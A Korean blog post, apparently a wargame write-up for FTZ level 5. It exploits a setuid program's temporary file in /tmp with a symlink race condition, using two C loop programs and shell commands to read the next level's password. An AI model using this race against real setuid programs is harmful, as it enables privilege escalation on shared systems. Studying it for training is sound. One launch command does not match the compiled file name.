FTZ level5

Posted by dw0rdptr
2015. 3. 17. 20:42 System/FTZ


hint :

/usr/bin/level5 프로그램은 /tmp 디렉토리에

level5.tmp 라는 이름의 임시파일을 생성한다.


이를 이용하여 level6의 권한을 얻어라



level5는 setuid가 걸려있다.


level5를 실행해보면 아무런 아웃풋 없이 프로그램이 종료된다.

힌트에서 /tmp 디렉토리에 임시파일을 생성한다고 했으나 실제로 /tmp 디렉토리에는

level5.tmp 파일이 존재하지 않았다.


여기서 생각해볼 수 있는 경우의 수는

아예 처음부터 level5 프로그램이 임시파일을 생성하지 않거나

프로그램이 종료되면 임시파일도 같이 삭제되는 경우를 생각해 볼 수 있다.


첫번째는.. 엿먹으라고 힌트를 저렇게 줄리 없으니

두번째경우로 가정을 한다면 레이스컨디션이라는 해킹기법과 심볼릭 링크를 이용해 패스워드를 알아내야 한다.


심볼릭링크와 레이스컨디션에 대한 자세한 설명은 http://geundi.tistory.com/48 이곳에 나와있다.


level5 프로그램을 여러번 실행하는 간단한 프로그램을 짠다



1
2
3
4
5
6
7
#include <stdio.h>
int main(){        
    int i;
    for(i=0;i<=1000;i++)
        system("/usr/bin/level5");        
}
cs

level5가 여러번 실행되면서  /tmp 디렉토리에는 level5.tmp가 생성되었다 삭제되는게 반복될 것이다

이번엔 임의의 파일 slink를 /tmp 디렉토리에 생성하고 level5.tmp를 slink의 심볼릭링크 파일로 생성하는 프로그램을 짠다


[level5@ftz tmp]$ touch slink

[level5@ftz tmp]$ vi link.c

1
2
3
4
5
6
7
#include <stdio.h>
int main(){        
    int i;        
    for(i=0;i<=1000;i++)
        system("ln -s /tmp/slink /tmp/level5.tmp");        
}
cs




[level5@ftz tmp]$ gcc -o level level.c

[level5@ftz tmp]$ gcc -o link link.c


이 두 프로그램을 동시에 실행시키면 level5를 실행하면 level5.tmp에 내용이 써지게 되고

심볼릭링크인 level5.tmp의 원본파일인 slink에도 그대로 쓰여질 것이다.



[level5@ftz tmp]$ ./level5&

[1] 8267

[level5@ftz tmp]$ ./link

ln : '/tmp/level5.tmp' : File exists

ln : '/tmp/level5.tmp' : File exists

ln : '/tmp/level5.tmp' : File exists

.

.

.

[1]+ Exit 84 ./level5


[level5@ftz tmp]$cat slink




'System > FTZ' 카테고리의 다른 글

FTZ level7  (0) 2015.03.17
FTZ level6  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level3  (0) 2015.03.17
FTZ level2  (0) 2015.03.17